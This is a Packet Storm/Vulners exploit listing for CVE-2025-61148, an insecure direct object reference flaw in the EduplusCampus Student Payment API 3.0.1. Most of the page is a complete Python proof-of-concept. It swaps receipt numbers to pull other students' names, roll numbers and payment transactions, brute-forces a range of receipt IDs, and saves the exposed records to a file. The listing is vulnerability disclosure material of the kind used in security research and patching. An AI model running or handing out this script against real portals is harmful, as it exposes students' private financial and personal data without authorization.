π EduplusCampus Student Portal 3.0.1 Insecure Direct Object Reference
ποΈΒ 12 Dec 2025Β 00:00:00Reported byΒ indoushkaTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 181Β Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-61148 | 3 Dec 202505:21 | β | circl | |
| EduplusCampus security vulnerabilities | 4 Dec 202500:00 | β | cnnvd | |
| CVE-2025-61148 | 4 Dec 202500:00 | β | cve | |
| CVE-2025-61148 | 4 Dec 202500:00 | β | cvelist | |
| EUVD-2025-201212 | 4 Dec 202500:00 | β | euvd | |
| CVE-2025-61148 | 24 Oct 202605:47 | β | kitploit | |
| CVE-2025-61148 | 4 Dec 202516:16 | β | nvd | |
| CVE-2025-61148 | 4 Dec 202516:16 | β | osv_cve | |
| π EduplusCampus 3.0.1 Insecure Direct Object Reference | 3 Dec 202500:00 | β | packetstorm | |
| PT-2025-49097 | 4 Dec 202500:00 | β | ptsecurity |
10
=============================================================================================================================================
| # Title : EduplusCampus student portal v 3.0.1 Broken Access Control |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.edupluscampus.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211727/
[+] Summary : Insecure Direct Object Reference (IDOR) vulnerability in EduplusCampus Student Payment API (version 3.0.1)
that allows authenticated users to access other students' sensitive financial and personal information without proper authorization.
[+] POC :
#!/usr/bin/env python3
"""
Proof of Concept: CVE-2025-61148
IDOR Vulnerability in EduplusCampus Student Payment API
Author: indoushka
"""
import requests
import json
import sys
import argparse
from colorama import Fore, Style, init
# Initialize colorama for colored output
init(autoreset=True)
class CVE202561148_POC:
def __init__(self, base_url, auth_token):
self.base_url = base_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {auth_token}',
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Security-Test)'
}
def print_banner(self):
"""Display vulnerability banner"""
banner = f"""
{Fore.RED}ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2025-61148: IDOR Vulnerability POC β
β EduplusCampus Student Payment API β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{Style.RESET_ALL}
"""
print(banner)
def test_idor(self, original_rec_no, target_rec_no):
"""Test IDOR vulnerability by modifying rec_no parameter"""
endpoint = f"{self.base_url}/student/get-receipt"
# Original request (authorized)
original_data = {
"rec_no": original_rec_no
}
# Malicious request (unauthorized access attempt)
malicious_data = {
"rec_no": target_rec_no
}
print(f"{Fore.CYAN}[*] Testing IDOR vulnerability...{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Original receipt number: {original_rec_no}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[+] Target receipt number: {target_rec_no}{Style.RESET_ALL}")
try:
# Test with original receipt number
print(f"\n{Fore.WHITE}[1] Sending request for authorized receipt...{Style.RESET_ALL}")
resp_original = requests.post(
endpoint,
headers=self.headers,
json=original_data,
timeout=30
)
# Test with target receipt number
print(f"{Fore.WHITE}[2] Sending request for target receipt (IDOR test)...{Style.RESET_ALL}")
resp_target = requests.post(
endpoint,
headers=self.headers,
json=malicious_data,
timeout=30
)
# Analyze responses
self.analyze_responses(resp_original, resp_target)
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Request failed: {str(e)}{Style.RESET_ALL}")
return False
def analyze_responses(self, resp_original, resp_target):
"""Analyze and compare the responses"""
print(f"\n{Fore.CYAN}[*] Response Analysis:{Style.RESET_ALL}")
print(f"{'='*60}")
# Original response
print(f"{Fore.GREEN}[+] Original Request (Authorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_original.status_code}")
if resp_original.status_code == 200:
try:
data = resp_original.json()
print(f" Response Length: {len(resp_original.text)} characters")
if 'fullname' in data:
print(f" Contains PII: {Fore.RED}YES{Style.RESET_ALL}")
except:
print(f" Response: {resp_original.text[:100]}...")
# Target response
print(f"\n{Fore.RED}[+] Target Request (Unauthorized):{Style.RESET_ALL}")
print(f" Status Code: {resp_target.status_code}")
if resp_target.status_code == 200:
try:
data = resp_target.json()
print(f" Response Length: {len(resp_target.text)} characters")
# Check if vulnerable
if 'fullname' in data or 'rollno' in data:
print(f"{Fore.RED}[!] VULNERABLE - Successfully accessed other user's data!{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}[*] Exposed Information:{Style.RESET_ALL}")
# Display sensitive data (redacted for safety)
sensitive_keys = ['fullname', 'rollno', 'component_total_amount',
'trans_list', 'tid', 'date', 'amount']
for key in sensitive_keys:
if key in str(data):
if key == 'fullname':
print(f" β’ Full Name: {Fore.RED}[REDACTED]{Style.RESET_ALL}")
elif key == 'rollno':
print(f" β’ Roll Number: {data.get('rollno', 'N/A')}")
elif key == 'component_total_amount':
print(f" β’ Payment Amount: {data.get('component_total_amount', 'N/A')}")
elif key == 'trans_list':
transactions = data.get('trans_list', [])
if transactions:
print(f" β’ Transaction Details:")
for trans in transactions:
print(f" - Date: {trans.get('date', 'N/A')}")
print(f" - Amount: {trans.get('amount', 'N/A')}")
print(f" - TID: {trans.get('tid', 'N/A')}")
# Save proof
self.save_proof(data)
except json.JSONDecodeError:
print(f" Response: {resp_target.text[:200]}...")
if len(resp_target.text) > 100:
print(f"{Fore.RED}[!] Potential vulnerability detected!{Style.RESET_ALL}")
else:
print(f" Response: {resp_target.text[:100]}...")
def save_proof(self, data):
"""Save proof of concept results"""
filename = f"idor_proof_cve_2025_61148.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\n{Fore.GREEN}[+] Proof saved to: {filename}{Style.RESET_ALL}")
def brute_force_receipts(self, prefix="PCUF-", start=231800, end=232100):
"""Attempt to discover valid receipt numbers"""
print(f"\n{Fore.CYAN}[*] Brute-forcing receipt numbers...{Style.RESET_ALL}")
print(f" Range: {prefix}{start} to {prefix}{end}")
found_receipts = []
endpoint = f"{self.base_url}/student/get-receipt"
for i in range(start, end + 1):
rec_no = f"{prefix}{i}"
data = {"rec_no": rec_no}
try:
resp = requests.post(
endpoint,
headers=self.headers,
json=data,
timeout=10
)
if resp.status_code == 200:
print(f"{Fore.GREEN}[+] Found valid receipt: {rec_no}{Style.RESET_ALL}")
found_receipts.append(rec_no)
# Quick analysis
try:
resp_data = resp.json()
if 'fullname' in resp_data:
print(f" Contains PII: YES")
except:
pass
except requests.exceptions.RequestException:
continue
return found_receipts
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-61148: IDOR Vulnerability POC for EduplusCampus",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True, help="Base URL (e.g., https://student.edupluscampus.com)")
parser.add_argument("-t", "--token", required=True, help="Bearer token for authentication")
parser.add_argument("-o", "--original", help="Original receipt number (authorized)")
parser.add_argument("-T", "--target", help="Target receipt number to test")
parser.add_argument("-b", "--bruteforce", action="store_true", help="Enable brute-force mode")
parser.add_argument("-p", "--prefix", default="PCUF-", help="Receipt number prefix for brute-force")
args = parser.parse_args()
# Initialize POC
poc = CVE202561148_POC(args.url, args.token)
poc.print_banner()
print(f"{Fore.CYAN}[*] Target: {args.url}{Style.RESET_ALL}")
print(f"{Fore.CYAN}[*] Authentication token provided: {'*' * 20}{Style.RESET_ALL}")
if args.bruteforce:
# Brute-force mode
print(f"\n{Fore.YELLOW}[!] Starting brute-force attack...{Style.RESET_ALL}")
found = poc.brute_force_receipts(prefix=args.prefix)
if found:
print(f"\n{Fore.GREEN}[+] Found {len(found)} valid receipt numbers{Style.RESET_ALL}")
for receipt in found:
print(f" β’ {receipt}")
else:
print(f"{Fore.RED}[-] No valid receipt numbers found in the range{Style.RESET_ALL}")
elif args.original and args.target:
# Specific test mode
poc.test_idor(args.original, args.target)
else:
print(f"{Fore.YELLOW}[!] Usage examples:{Style.RESET_ALL}")
print(f" Specific test: python poc.py -u https://target.com -t YOUR_TOKEN -o PCUF-232025 -T PCUF-231824")
print(f" Brute-force: python poc.py -u https://target.com -t YOUR_TOKEN -b")
print(f"\n{Fore.RED}[!] WARNING: Use only on authorized systems!{Style.RESET_ALL}")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Dec 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.16.5
EPSS0.00346
SSVC